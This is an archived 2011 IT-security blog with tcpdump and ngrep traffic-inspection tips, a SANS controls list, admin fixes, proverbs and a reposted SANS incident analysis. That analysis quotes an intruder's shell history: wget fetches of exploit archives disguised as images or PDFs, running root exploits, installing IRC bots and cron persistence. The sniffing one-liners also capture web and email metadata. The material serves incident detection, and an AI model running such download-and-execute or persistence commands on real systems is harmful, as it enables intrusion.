Thursday, November 3, 2011

McAfee GetSusp and GetClean

McAfee recently released two tools GetSusp and GetClean.  These two tools are very helpful to detect and clean malware

https://kc.mcafee.com/corporate/index?page=content&id=KB69385

  • McAfee GetSusp
    GetSusp is intended for users who suspect undetected malware on their computer. GetSusp eliminates the need for deep technical knowledge of computer systems to isolate undetected malware. It does this by using a combination of heuristics and querying the McAfee Global Threat Intelligence (GTI) database of known clean files to gather suspicious files. GetSusp is recommended as a first tool of choice when analyzing a suspect computer. However, you must follow the McAfee support process for escalating suspicious files it finds. See Related Information.
     
  • McAfee GetClean
    GetClean is a McAfee Labs initiative to reduce false positives in the field. It utilizes the standalone GetClean tool that you can run on common operating environment image files to submit clean files to McAfee. GetClean leverages Global Threat Intelligence (GTI) file reputation to report only files that are unknown to McAfee. This greatly reduces the number of files a customer has to submit to us and eliminates duplicate submissions. You can leverage GetClean to tune up the GTI settings in McAfee point products to Medium or Very High with confidence as your image files become part of the McAfee GTI whitelist.

Wednesday, October 26, 2011

tcpdump tricks - capture http and smtp string & debugging routers and VPN links

This is from Linux Journal Oct-11.  The tcpdump article on this issue is written by Henry Van Styn.

The tcpdump Strings trick:
"
In these cases, speed and convenience reign supreme. The following trick is along these lines and is one of my favorite tcpdump techniques. It works because:
1. TCP segments usually are sent in chronological order.
2. Text-based application protocols produce TCP segments with text payloads.
3. The data surrounding the text payloads, such as packet headers, is usually not text. strings filters out binary data from streams preserving only text (printable characters).
5. When tcpdump is called with -w - it prints raw packets to STDOUT.

Put it all together, and you get a command that dumps real-time HTTP session data:

tcpdump -l -s0 -w - tcp dst port 80 | strings

The -l option above turns on line buffering, which makes sure data gets printed to the screen right away.

What is happening here is tcpdump is printing the raw, binary data to the screen. This uses a twist on the -w option where the special filename - writes to STDOUT instead of a file. Normally, doing this would display all kinds of gibberish, but that’s where the strings command comes in—it allows only data recognized as text through to the screen.
There are few caveats to be aware of. First, data from multiple sessions received simultaneously is displayed simultaneously, clobbering your output. The more refined you make the filter expression, the less of a problem this will be. You also should run separate commands (in separate shells) for the client and server side of a session:

tcpdump -l -s0 -w - tcp dst port 80 | strings

tcpdump -l -s0 -w - tcp src port 80 | strings

Also, you should expect to see a few gibberish characters here and there whenever a sequence of binary data also happens to look like text characters. You can cut down on this by increasing min-len (see the strings man page). This trick works just as well for other text-based protocols.


To see websites being accessed in real time:

tcpdump -i eth1 -l -s0 -w - host davepc and port 80 \ | strings | grep 'GET\|Host'

To watch email senders and recipients in real time:

tcpdump -l -s0 -w - tcp dst port 25 | strings \ | grep -i 'MAIL FROM\|RCPT TO'

Debugging Routes and VPN Links



If it’s operating properly, hosts from either network should be able to ping one another. However, if you are not getting replies when pinging host D from host A, for instance, you can use tcpdump to zero in on exactly where the breakdown is occurring:

tcpdump -tn icmp and host 10.0.50.2

In this example, during a ping from 10.0.50.2 to 192.168.5.38, each round trip should show up as a pair of packets like the following, regardless of from which of the four systems the tcpdump command is run:

 

IP 10.0.50.2 > 192.168.5.38: ICMP echo request, id 46687, seq 1, length 64
IP 192.168.5.38 > 10.0.50.2: ICMP echo reply, id 46687, seq 1, length 64

If the request packets make it to host C (the remote gateway) but not to D, this indicates that the VPN itself is working, but there could be a routing problem. If host D receives the request but doesn’t generate a reply, it probably has ICMP blocked. If it does generate a reply but it doesn’t make it back to C, then D might not have the right gateway configured to get back to 10.0.50.0/24.

Using tcpdump, you can follow the ping through all eight possible points of failure as it makes its way across the network and back again."

4. The UNIX command

Thursday, September 22, 2011

20 Critical Controls

It is everywhere on the internet, but I want to post it here to remind me of these critical controls

http://isc.sans.org/diary/October+2011+Cyber+Security+Awareness+Month/11623

There are 20 controls, 15 of these can be automated, the last 5 can not. Each will address a set of risks and the diaries will explore how you may be able to implement the control.
This year the controls were updated and include the Australian Defence Signals Directorate's 35 mitigating controls.
The controls are as follows:
  • Critical Control 1: Inventory of Authorized and Unauthorized Devices
  • Critical Control 2: Inventory of Authorized and Unauthorized Software
  • Critical Control 3: Secure Configurations for Hardware and Software on Laptops, Workstations, and Servers
  • Critical Control 4: Secure Configurations for Network Devices such as Firewalls, Routers, and Switches
  • Critical Control 5: Boundary Defense
  • Critical Control 6: Maintenance, Monitoring, and Analysis of Security Audit Logs
  • Critical Control 7: Application Software Security
  • Critical Control 8: Controlled Use of Administrative Privileges
  • Critical Control 9: Controlled Access Based on the Need to Know
  • Critical Control 10: Continuous Vulnerability Assessment and Remediation
  • Critical Control 11: Account Monitoring and Control
  • Critical Control 12: Malware Defenses
  • Critical Control 13: Limitation and Control of Network Ports, Protocols, and Services
  • Critical Control 14: Wireless Device Control
  • Critical Control 15: Data Loss Prevention

  • Critical Control 16: Secure Network Engineering
  • Critical Control 17: Penetration Tests and Red Team Exercises
  • Critical Control 18: Incident Response Capability
  • Critical Control 19: Data Recovery Capability
  • Critical Control 20: Security Skills Assessment and Appropriate Training to Fill Gap

Monday, August 29, 2011

quick and dirty way to analyze IDS traffic using ngrep

This article is from SANS Diary

http://isc.sans.edu/diary/User+Agent+007/11455


Published: 2011-08-26,
Last Updated: 2011-08-26 00:11:28 UTC
by Daniel Wesemann (Version: 1)

Recently, while conducting an audit at a financial services company, I decided to verify their claim that their "desktop build is standardized" and "no other devices are on the network". The network team provided access to a SPAN port on their Internet uplink, where I attached my pen-test workstation to take a look.

$sudo ngrep -qt -W single -s1514 -d eth0 -P~ 'User-Agent:' 'port 80'

"ngrep" works like grep, but on network traffic. Thus, the above command digs through everything on port 80 (http) that the span port provides, and searches for the string "User-Agent:", which commonly contains the "signature" of the web client making the access. A little bit of cleanup was needed to make the output usable:

| sed 's/.*User-Agent/User-Agent/' | sed 's/~.*//' | sed '/^$/d'

This takes care of empty lines, and throws out everything that isn't part of the User-Agent: string.  Collect the output into a file for a while, and then tally:

$cat output.txt | sort | uniq -c | sort -rn

And lookie, we ended up with about 80 distinct user agents. In only five minutes of traffic. Well, so far for "standardized desktop build" and "nothing else on the network". Among the user agent strings seen were

User-Agent: Mozilla/4.0 (compatible; Lotus-Notes/6.0; Windows-NT)
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729)


Hmm, peculiar, some users are surfing with IE7 on Windows XP, while others are using an oooold version of Lotus Notes, and again others are using a vulnerable version of Firefox ??

User-Agent: Apple-iPhone3C1/812.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
User-Agent: BlackBerry9000/5.0.0.822
User-Agent: BlackBerry9700/5.0.0.656


A couple of mobile devices ... with what looks like a Windows7/IE9 system thrown in for good measure. The mobile devices turned out to be most interesting, because unless there is a WiFi gateway hooked into the corporate LAN, these devices usually surf via the mobile phone network, and shouldn't show up in the company's outbound Internet traffic. Guess what we found a couple minutes later ...: a little unauthorized wireless network extension, using WEP and the company name as SSID. Duh...!

And,  last but not least, we found some odd ducks that certainly warranted a closer look ..:
User-Agent: core
User-Agent: n1ghtCrawler
User-Agent: curl/7.8.1 (sparc-sun-solaris2.6) libcurl 7.9.6 (OpenSSL 0.9.6c)
User-Agent: Mozilla/4.0 (banzai)


Moral of the story: While your IDS probably alerts on "unusual" User Agent strings, it might nonetheless be a good idea to check out the full set of client applications that you have communicating with the Internet. The "User-Agent" string isn't failsafe, but it's a good start. You never know, you might just uncover a Secret (User) Agent who is busy squirreling away your data.

If you have other clever ways of auditing the user agent strings on your perimeter, please share in the comments below!

Comments

I'm glad you brought up odd user-agents, because I've been stuck searching for a user-agent I saw on my network:

USER-AGENT: TSA Browser Agent

My google-fu is lacking because the only thing I found that dealt with this user agent (and not the government agency, TSA) was a snort signature.

Do you believe this is in fact the user agent for the Target Saver spyware?

http://doc.emergingthreats.net/bin/view/Main/2001871
posted by Mike, Fri Aug 26 2011, 12:36
You can put multiple actions into a single sed command:

| sed 's/.*User-Agent/User-Agent/
s/~.*//
/^$/d'

Good diary entry about a simple way to do some good intelligence.
posted by Nit, Fri Aug 26 2011, 13:46
You can use tshark and avoid all the sed stuff:

$sudo tshark -f "port 80" -R "http contains \"User-Agent:\"" -Tfields -e http.user_agent > output.txt

$cat output.txt | sort | uniq -c | sort -rn

Sample output:

132 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20101130 Ubuntu/9.10 (karmic) Firefox/3.5.7
1 Microsoft-CryptoAPI/6.1
posted by Franck G., Fri Aug 26 2011, 14:06
Blue Coat Proxy (Or Bluecoat Reporter) administrators can get this pretty easily as well.

In Blue-Coat Reporter - There's a built-in report for User-Agents.

Or, if you want to watch real-time action flying by, you can go into your Blue Coat and start a tail in Access Logging. You'll be doing a lot of scrolling this way, but it shows the required information.
posted by Jeff H., Fri Aug 26 2011, 14:22
This has given me an idea..for finding rogue access points.

Search for iPhone or iPad user agent strings with source address which you know should only be wired and you probably have yourself a rogue AP there.

Just ran this report on my Bluecoat and found a few possibles.
posted by Matt R, Fri Aug 26 2011, 17:19

Monday, August 22, 2011

"Reading Pavilion at Chinese Garden of Friendship - Darling Harbour"

I was looking for  words of wisdom quotes and ran across this link, alot of useful quotes.  If you start frustrating with your work and your life, close the door and read these quotes out loud will help.

http://mmdelrosario.hubpages.com/hub/Witty_and_Wise_Chinese_Proverbs

Reading Pavilion at Chinese Garden of Friendship - Darling Harbour

  • A single spark can set a prairie on fire.
  • Water can both sustain and sink a ship.
  • Count not what is lost, but what is left.
  • If there is a strong general there will be no weak soldiers.
  • To extend your life by a year take one less bite each meal.
  • Peace only comes when reason rules.
  • Even the tallest tower started form the ground.
  • Eloquence provides only persuasion, but truth buys loyalty.
  • Wisdom is attained by learning when to hold one's tongue.
  • A single tree cannot make a forest

  • If one eats less one will taste more.
  • One hand alone cannot clap, it takes two to quarrel.
  • It does not matter if the cat is black or white, so long as it catches mice.
  • Cowards have dreams, brave men have visions
  • Learning is like the horizon; there is no limit.
  • The old horse will know the way
  • A good friend shields you from the storm
  • Change the skin, wash the heart
  • Sow melon, reap melon; sow beans, reap beans.
  • One sings, all follow.

  • Fortune has a fickle heart and a short memory.
  • Harsh words and poor reasoning never settle anything.
  • Dangerous enemies will meet again in narrow streets.
  • Better to bend in the wind than to break.
  • Do not kill the hen for her eggs.
  • First attain skill; creativity comes later.
  • Make the cap fit the head.
  • A single beam cannot support a great house.
  • Do not be concerned with things outside your door.
  • Wise men may not be learned; learned men may not be wise.

  • Crows are black the world over.
  • Do not lift a rock only to drop it on your own foot
  • Kill the chicken to frigthen the monkey
  • Wait long, strike fast.
  • Do not wait until you're thirsty to dig a well
  • One who would pick the roses must bear with thorns
  • Failure is the mother of success.
  • Do not climb a tree to look for a fish
  • Only time and effort brings proficiency
  • Distance tests the endurance of a horse; time reveals a man's character.

Thursday, August 18, 2011

Run Autodesk DWG Trueview 2010 without admin rights

One of the PC technicians at my workplace needs to install DWG Trueview 2010 for some end-users.  However, in order for those users to run this application, they need to be granted admin privilege on their local desktop.

I did some researches online and couldn't really find a solution for it.    While doing my searching online, I ran across a page which mentioned the procmon (process monitoring) tool from Sysinternal.  Dud!  why didn't I think of this tool?  Using procmon to monitor the application while it was running, I found out that "DWGVIEWR.exe" couldn't access two registry keys below:

HKLM\System\CurrentControlSet\Control\MediaProperties\PrivateProperties\Joystick\Winmm
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Fonts


In order to get this program running, all you need to do is to grant the end-user full permission to those registry keys (run "regedit" and browse to those keys, right click and add permission).

That is all you need to do to get it running.

Monday, August 1, 2011

Anatomy of a Unix breach

http://isc.sans.edu/diary/Anatomy+of+a+Unix+breach/11290

Published: 2011-07-31,
Last Updated: 2011-07-31 22:35:51 UTC
by Daniel Wesemann (Version: 3)
Rate this diary:

ISC reader Will wrote in to share a bash_history file (thanks!) from one of his Unix servers that got hacked. Since knowing the command sequence used by the bad guys helps to detect similar intrusions, we are sharing it here in (almost) full length. Some of the sites hosting the used root shell exploits are still live, and hence not included. The whole breach of Will's server started via a password guessing attack against SSH. We have covered this risk repeatedly in ISC diaries. Once the bad guys were in, they ran the commands below, and then apparently used the just installed IRC bots to continue scanning for SSH ports on other systems.

Phase#1: The bad guy tries to find out more about the box he just broke into
uptime
uname -a
w
ifconfig

Phase#2: Bad guy downloads all the Linux root exploits that he has, and just run them, hoping for a lucky break. Note how some of the TAR files come with an innocent-looking jpg or pdf extension. Hence, if you are filtering certain file types at the perimeter proxy, you better hope that your proxy goes by MIME type and magic bytes, and not by extension alone!
wget http://i......go.ro/exploit.jpg;tar xzvf exploit.jpg;rm -rf exploit.jpg;cd exploit;./mv;id
wget http://m......co.uk/sandu/ex.tgz ; tar zxvf ex.tgz ; cd e ; chmod +x * ; ./exploit ; id
wget http://g......at.ua/2.6.18.tgz;tar zxvf 2.6.18.tgz;rm -rf 2.6.18.tgz;cd uid0;./uid
wget http://g......at.ua/expl.pdf;tar zxvf expl.pdf;rm -rf expl.pdf;cd w;./wunderbar_emporium.sh
wget http://c......org/god.jpg;tar zxvf god.jpg;rm -rf god.jpg;cd .ICE-UNIX;./autorun;./run

We are not quite sure whether any of the above exploits was successful. The "id" command, or the exploit itself, would have told the attacker whether he got lucky, but there aren't any traces in the shell history file that would tell us either way.
In any case .. follows Phase #3a: The attacker installs some goodies. "virus.tar" isn't really a virus, it is a copy of EnergyMech, an IRC bot. Note how the bad guy uses Nano to edit the config file, which tells us that he isn't all that experienced on Unix. A real Unix hacker would most likely use "vi", because vi is present on all Unix flavors and versions. Note also how he calls the IRC bot "Evolution" when he starts it, likely hoping that an admin would overlook it in a casual investigation.
/sbin/ifconfig -a | grep inet
wget http://f......com/storm12/virus.tar
tar xvf virus.tar
rm -rf virus.tar
cd virus
ls -a
nano start
nano inst
chmod +x *
./autorun
./start Evolution

Phase#3b: Install some more goodies. egg.tgz is a copy of Eggdrop, another IRC bot. Note how the bad guy puts the files into a directory called " " (single space). If you want to search for such directories on your system, try this
#find / -name " " -exec ls -aldQ {} ;
mkdir " "
cd " "
ls -a
wget http://c.......org/egg.tgz
cd " "
tar zxvf egg.tgz
rm -rf egg.tgz
cd .access.log
ls -a
chmod +x *
./eggdrop -m bot1.conf
ls -a
cd scripts
nano respond.tcl
pwd


Phase #4: The attacker wants to make sure that access can be re-gained, and configures the cron tab to re-start some of his processes automatically on a schedule.
crontab -l
crontab -e
exit